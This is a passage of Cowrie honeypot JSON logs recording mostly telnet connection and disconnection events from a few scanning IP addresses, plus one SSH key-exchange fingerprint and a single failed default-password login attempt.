{"eventid":"cowrie.session.closed","duration":31.11353349685669,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:05.714349Z","src_ip":"50.6.18.72","session":"66e379ebbe4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36259627342224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:05.924511Z","src_ip":"50.6.18.72","session":"9cff3f4ce64a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":55090,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b67ce74a137","protocol":"telnet","message":"New connection: 50.6.18.72:55090 (159.203.135.109:23) [session: 8b67ce74a137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:06.327854Z"}
{"eventid":"cowrie.session.closed","duration":30.565494775772095,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:06.530944Z","src_ip":"50.6.18.72","session":"6e94d032ae84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":55074,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bd48f919997","protocol":"telnet","message":"New connection: 50.6.18.72:55074 (159.203.135.109:23) [session: 3bd48f919997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:06.920484Z"}
{"eventid":"cowrie.session.closed","duration":18.668166875839233,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:07.256922Z","src_ip":"147.182.143.59","session":"4226c419b8ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.446617364883423,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:07.990060Z","src_ip":"50.6.18.72","session":"60df2b2ede9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":55100,"dst_ip":"159.203.135.109","dst_port":23,"session":"196a16bc9397","protocol":"telnet","message":"New connection: 50.6.18.72:55100 (159.203.135.109:23) [session: 196a16bc9397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:08.293508Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":50364,"dst_ip":"159.203.135.109","dst_port":23,"session":"23fa675f3c21","protocol":"telnet","message":"New connection: 147.182.143.59:50364 (159.203.135.109:23) [session: 23fa675f3c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:08.732238Z"}
{"eventid":"cowrie.session.closed","duration":31.09198784828186,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:08.755509Z","src_ip":"50.6.18.72","session":"813f055eef2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.720749855041504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:09.219034Z","src_ip":"50.6.18.72","session":"42431ddb699e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"151.40.207.128","src_port":42642,"dst_ip":"10.17.0.5","dst_port":23,"session":"22b224478d51","protocol":"telnet","message":"New connection: 151.40.207.128:42642 (10.17.0.5:23) [session: 22b224478d51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:09.229277Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":55110,"dst_ip":"159.203.135.109","dst_port":23,"session":"43bc59d7f42b","protocol":"telnet","message":"New connection: 50.6.18.72:55110 (159.203.135.109:23) [session: 43bc59d7f42b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:09.338913Z"}
{"eventid":"cowrie.session.closed","duration":31.117451906204224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:09.765991Z","src_ip":"50.6.18.72","session":"b685f7f70d3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":55124,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bcba3f46c55","protocol":"telnet","message":"New connection: 50.6.18.72:55124 (159.203.135.109:23) [session: 1bcba3f46c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:10.100672Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":55138,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3682018fba0","protocol":"telnet","message":"New connection: 50.6.18.72:55138 (159.203.135.109:23) [session: e3682018fba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:10.134145Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":55142,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2cc3240cc53","protocol":"telnet","message":"New connection: 50.6.18.72:55142 (159.203.135.109:23) [session: a2cc3240cc53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:10.411392Z"}
{"eventid":"cowrie.session.closed","duration":30.980603218078613,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:10.716048Z","src_ip":"50.6.18.72","session":"019698403a25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18367624282837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:10.752773Z","src_ip":"50.6.18.72","session":"ecea7f23a029","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.436861991882324,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:10.873559Z","src_ip":"45.58.127.90","session":"96a187ee2f00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19069194793701,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:11.999901Z","src_ip":"50.6.18.72","session":"dbe99e025253","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":55158,"dst_ip":"159.203.135.109","dst_port":23,"session":"89fd9900f4af","protocol":"telnet","message":"New connection: 50.6.18.72:55158 (159.203.135.109:23) [session: 89fd9900f4af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:12.293062Z"}
{"eventid":"cowrie.session.closed","duration":30.919806003570557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:12.559626Z","src_ip":"50.6.18.72","session":"af6622227b68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.113272190093994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:13.004701Z","src_ip":"50.6.18.72","session":"4b89bd8209e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":55162,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ee8276459f0","protocol":"telnet","message":"New connection: 50.6.18.72:55162 (159.203.135.109:23) [session: 6ee8276459f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:13.232688Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":55176,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ae684b43ecb","protocol":"telnet","message":"New connection: 50.6.18.72:55176 (159.203.135.109:23) [session: 6ae684b43ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:13.376987Z"}
{"eventid":"cowrie.session.closed","duration":30.25028109550476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:13.666354Z","src_ip":"50.6.18.72","session":"bd2ba04bc2f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":50378,"dst_ip":"159.203.135.109","dst_port":23,"session":"9560a8f9f8c1","protocol":"telnet","message":"New connection: 147.182.143.59:50378 (159.203.135.109:23) [session: 9560a8f9f8c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:13.908551Z"}
{"eventid":"cowrie.session.closed","duration":44.71383857727051,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:14.150413Z","src_ip":"45.58.127.90","session":"b8274fa108b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.86.220.217","src_port":58218,"dst_ip":"10.17.0.5","dst_port":23,"session":"744dc4576387","protocol":"telnet","message":"New connection: 40.86.220.217:58218 (10.17.0.5:23) [session: 744dc4576387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:14.518934Z"}
{"eventid":"cowrie.session.closed","duration":30.723867893218994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:14.726410Z","src_ip":"50.6.18.72","session":"cda2e86689c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.115369081497192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:14.819759Z","src_ip":"50.6.18.72","session":"1e223bdf03c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":55184,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6a135aec29e","protocol":"telnet","message":"New connection: 50.6.18.72:55184 (159.203.135.109:23) [session: e6a135aec29e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:14.914773Z"}
{"eventid":"cowrie.session.closed","duration":31.453116416931152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:14.943164Z","src_ip":"50.6.18.72","session":"0ed7e7878a26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":55188,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba6f3c39c552","protocol":"telnet","message":"New connection: 50.6.18.72:55188 (159.203.135.109:23) [session: ba6f3c39c552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:15.350285Z"}
{"eventid":"cowrie.session.closed","duration":31.88526701927185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:15.569168Z","src_ip":"50.6.18.72","session":"2a51457b2bf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":51266,"dst_ip":"159.203.135.109","dst_port":23,"session":"9df45eac3f32","protocol":"telnet","message":"New connection: 50.6.18.72:51266 (159.203.135.109:23) [session: 9df45eac3f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:15.614604Z"}
{"eventid":"cowrie.session.closed","duration":31.471139669418335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:16.010203Z","src_ip":"50.6.18.72","session":"7ec213a187fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":51272,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cc9a15d8d9d","protocol":"telnet","message":"New connection: 50.6.18.72:51272 (159.203.135.109:23) [session: 7cc9a15d8d9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:16.337998Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":51274,"dst_ip":"159.203.135.109","dst_port":23,"session":"88f17aa21a91","protocol":"telnet","message":"New connection: 50.6.18.72:51274 (159.203.135.109:23) [session: 88f17aa21a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:16.406403Z"}
{"eventid":"cowrie.session.closed","duration":30.21634554862976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:16.560276Z","src_ip":"50.6.18.72","session":"d50929de3ee7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.825376987457275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:17.544000Z","src_ip":"50.6.18.72","session":"3578ca30e342","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":51278,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b0fef72729d","protocol":"telnet","message":"New connection: 50.6.18.72:51278 (159.203.135.109:23) [session: 3b0fef72729d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:17.643126Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":51286,"dst_ip":"159.203.135.109","dst_port":23,"session":"37c97bc8ec49","protocol":"telnet","message":"New connection: 50.6.18.72:51286 (159.203.135.109:23) [session: 37c97bc8ec49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:17.961271Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52726,"dst_ip":"10.17.0.5","dst_port":23,"session":"434c52666f11","protocol":"telnet","message":"New connection: 45.58.127.90:52726 (10.17.0.5:23) [session: 434c52666f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:18.234723Z"}
{"eventid":"cowrie.session.closed","duration":31.722728490829468,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:19.510460Z","src_ip":"50.6.18.72","session":"8ee8530ec2f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.110051155090332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:20.470063Z","src_ip":"50.6.18.72","session":"99697f72540a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.986759424209595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:20.817802Z","src_ip":"50.6.18.72","session":"9b349110fa6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":51294,"dst_ip":"159.203.135.109","dst_port":23,"session":"126fdd33c379","protocol":"telnet","message":"New connection: 50.6.18.72:51294 (159.203.135.109:23) [session: 126fdd33c379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:21.122614Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":51304,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa98b449b8bb","protocol":"telnet","message":"New connection: 50.6.18.72:51304 (159.203.135.109:23) [session: aa98b449b8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:21.319744Z"}
{"eventid":"cowrie.session.closed","duration":31.960947513580322,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:21.436278Z","src_ip":"50.6.18.72","session":"8cf3f504fd49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.089537143707275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:21.610430Z","src_ip":"50.6.18.72","session":"3ca7fb9acafe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":51320,"dst_ip":"159.203.135.109","dst_port":23,"session":"555b83baa0ab","protocol":"telnet","message":"New connection: 50.6.18.72:51320 (159.203.135.109:23) [session: 555b83baa0ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:22.216947Z"}
{"eventid":"cowrie.session.closed","duration":13.199924230575562,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:22.429104Z","src_ip":"151.40.207.128","session":"22b224478d51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53564214706421,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:23.692549Z","src_ip":"50.6.18.72","session":"44d37f028673","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94753885269165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:24.535935Z","src_ip":"50.6.18.72","session":"fdc322f6e0f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.175129652023315,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:25.855850Z","src_ip":"45.58.127.90","session":"bc486977053b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.14220905303955,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:25.874279Z","src_ip":"147.182.143.59","session":"23fa675f3c21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52730,"dst_ip":"10.17.0.5","dst_port":23,"session":"73e311410107","protocol":"telnet","message":"New connection: 45.58.127.90:52730 (10.17.0.5:23) [session: 73e311410107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:26.485050Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52744,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9abf28f4fde","protocol":"telnet","message":"New connection: 45.58.127.90:52744 (10.17.0.5:23) [session: a9abf28f4fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:26.598071Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52756,"dst_ip":"10.17.0.5","dst_port":23,"session":"15354117a188","protocol":"telnet","message":"New connection: 45.58.127.90:52756 (10.17.0.5:23) [session: 15354117a188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:26.672472Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39716,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee0dc4eb5e9a","protocol":"telnet","message":"New connection: 50.6.18.72:39716 (159.203.135.109:23) [session: ee0dc4eb5e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:27.507734Z"}
{"eventid":"cowrie.session.closed","duration":14.049692153930664,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:27.958093Z","src_ip":"147.182.143.59","session":"9560a8f9f8c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77377438545227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:27.963999Z","src_ip":"50.6.18.72","session":"6308889bf06f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39724,"dst_ip":"159.203.135.109","dst_port":23,"session":"8358ddcbb774","protocol":"telnet","message":"New connection: 50.6.18.72:39724 (159.203.135.109:23) [session: 8358ddcbb774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:28.613798Z"}
{"eventid":"cowrie.session.closed","duration":31.108871698379517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:29.519754Z","src_ip":"50.6.18.72","session":"1fefdb015a7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.324251651763916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:29.718421Z","src_ip":"50.6.18.72","session":"866bb0819ca2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":55856,"dst_ip":"10.17.0.5","dst_port":22,"session":"5712116ca563","protocol":"ssh","message":"New connection: 154.198.162.75:55856 (10.17.0.5:22) [session: 5712116ca563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:29.950794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:29.956489Z","src_ip":"154.198.162.75","session":"5712116ca563","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:30.166305Z","src_ip":"154.198.162.75","session":"5712116ca563","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37338,"dst_ip":"10.17.0.5","dst_port":23,"session":"779e1c6edf81","protocol":"telnet","message":"New connection: 45.58.127.90:37338 (10.17.0.5:23) [session: 779e1c6edf81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:30.366179Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39742,"dst_ip":"159.203.135.109","dst_port":23,"session":"374fce45db2f","protocol":"telnet","message":"New connection: 50.6.18.72:39742 (159.203.135.109:23) [session: 374fce45db2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:30.559103Z"}
{"eventid":"cowrie.session.closed","duration":37.0510356426239,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:30.593451Z","src_ip":"50.6.18.72","session":"535db0babb9c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sonaruser","password":"123456","message":"login attempt [sonaruser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:31.040858Z","src_ip":"154.198.162.75","session":"5712116ca563","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39736,"dst_ip":"159.203.135.109","dst_port":23,"session":"79ba6609f179","protocol":"telnet","message":"New connection: 50.6.18.72:39736 (159.203.135.109:23) [session: 79ba6609f179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:31.241565Z"}
{"eventid":"cowrie.session.closed","duration":42.27290868759155,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:31.322408Z","src_ip":"45.58.127.90","session":"dcbbc576accc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37342,"dst_ip":"10.17.0.5","dst_port":23,"session":"d583ede0a3c2","protocol":"telnet","message":"New connection: 45.58.127.90:37342 (10.17.0.5:23) [session: d583ede0a3c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:31.798913Z"}
{"eventid":"cowrie.session.closed","duration":31.122884273529053,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:31.868563Z","src_ip":"50.6.18.72","session":"d7a466c87065","protocol":"telnet"}
